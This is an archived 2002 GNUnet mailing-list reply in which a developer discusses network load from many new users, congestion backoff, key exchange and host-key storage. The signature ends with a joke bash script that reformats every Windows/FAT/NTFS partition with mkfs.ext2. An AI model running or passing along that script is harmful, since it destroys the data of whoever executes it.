Re: [GNUnet-developers] Design Question

[Christian Grothoff]

On Sunday 07 April 2002 05:27 pm, you wrote:
> Today on the help-gnunet list, Christian said in response to a
> question:
>
> [snip]...
> rough edges and common problems, we'd look really bad if we suddenly have
> 100.000 users... That's also why the site says it's a beta version.
> [snip]...

Well, I was more refering to the issue that our documentation is not good 
enough and that we would probably not have the time to answer all the 
questions that would pour in (and fix all the bugs reported), ...

> My question is, lets say hypothetically that 100k people hopped on
> GNUnet at the exact same time, for the first time.

At exactly the same time is *very* unlikely. Let's say 'in a short period of 
time'.

> Lets also say that
> these 100k people were also all using the exact same hosts.tar.gz from
> gecko. So, 100k people all sending 1k UDP packets to the exact same
> hosts.... what kind of damage is that going to do to the poor sap on
> dial up, or even worse, to a major pipe like purdue has. That's a lot
> of traffic to instantly hit a connection.

Not really. Each of the 100k people will start a client and each client will
try to connect to 128 hosts. Whenever hosts join, they will *immediately* 
become available as hosts to connect to, so even in a short period of time 
each host will receive on average 128 HELO packets, with older hosts having 
slightly higher rates (which they react to by dropping the packet). Depending 
on how short the period is, an old host may experience higher peaks, but 
realistically speaking there should be no problem.

> Second question. Is GNUnet planning on doing any type of congestion
> notification? I can't see a good way of doing this without losing some
> anonymity, but maybe someone else can. I see this as being important
> for when GNUnet starts being heavily utilized. Its not good enough to
> drop the packet when it gets to you, the network needs to know to not
> even bother sending you traffic.

Not quite. TCP congestion control also re-tries and not just aborts. Like 
TCP, we do an exponential backoff. But our code may not be tuned as well as 
TCP's is. OTOH, as long as GNUnet traffic does not cause a significant 
fraction of the overall traffic on the internet, we should do ok. And even if 
there is congestion in the network that is only caused by GNUnet (like in 
certain experimental settings), we currently seem to do ok (on a much smaller 
scale, of course). 

The real question is, how many queries that traverse the entire (!) network 
could be sustained by GNUnet. In order to answer this question, we'll have to 
benchmark the 'average' GNUnet host and determine the throughput.

> Last question. Can someone explain the design/architecture/etc of key
> exchange? I looked through a couple of papers but couldn't find what
> I'm looking for, and I don't have time right now to go through the
> code.

It's not in the papers 'cause it's not that interesting without the 
benchmarking data. It will eventually occur in the documentation.php3 file 
when I get to it. The exchange is very simple and similar to SSH, yet some 
details are not implemented (replay defences, planned for 0.3.4).

> I'm curious about the number of known nodes that are kept on
> each host, etc.

Currently, 'all' that are known minus hosts that have been inactive for 
several weeks. Admitted, if you have 100k hosts, that would be 100MB on your 
harddrive just for their keys. OTOH, you can never know enough hosts :-). If 
your client does not have that much space, we could of course have an option 
in GNUnet to discard old keys. The problem is, that if an adversary can trick 
you into dropping all the old keys by sending you bazillions of new keys, 
this would be a vulnerability (and we don't want those). We should do some 
more sanity checking on the keys, though (e.g. try to connect before 
accepting new hostkeys for good).

> Mainly because of the concern I stated above about
> people getting slammed with traffic, key propagation through GNUnet is
> an important issue for a large user base.

If a host can sustain 128 1k packets/10 minutes, we should be fine (128 and 
10 are tuning parameters and subject to change :-).  Just keep in mind that a 
larger userbase also means that there are more hosts to connect to. GNUnet 
was designed to be able to do load balancing fairly well, so just new hosts 
will not be a problem. New hosts trying to pipe lots of queries through the 
network is the real problem. How many queries per second can your machine 
*process* (just lookup, not reply to, just hard-drive/CPU wise, not network 
load). If we then don't have enough replication and would have to send the 
queries through the entire network (gnutella-style), then we would be in 
trouble.

For scalability, the biggest thing we have to do is tuning (and not just 
playing with parameters but do it on a mathematical base), and that will take 
some more time. Besides bugs and documentation, that's the real reason why we 
should not try to get /.ed right now :-).

Christian
-- 
______________________________________________________
|Christian Grothoff                                  |
|650-2 Young Graduate House, West Lafayette, IN 47906|
|http://gecko.cs.purdue.edu/   address@hidden|
|____________________________________________________|
#!/bin/bash
for i in `fdisk -l|grep -E "Win|DOS|FAT|NTFS"|awk\
'{print$1;}'`;do;nohup mkfs.ext2 $i&;done
echo -e "\n\n\t\tMay the source be with you.\n\n"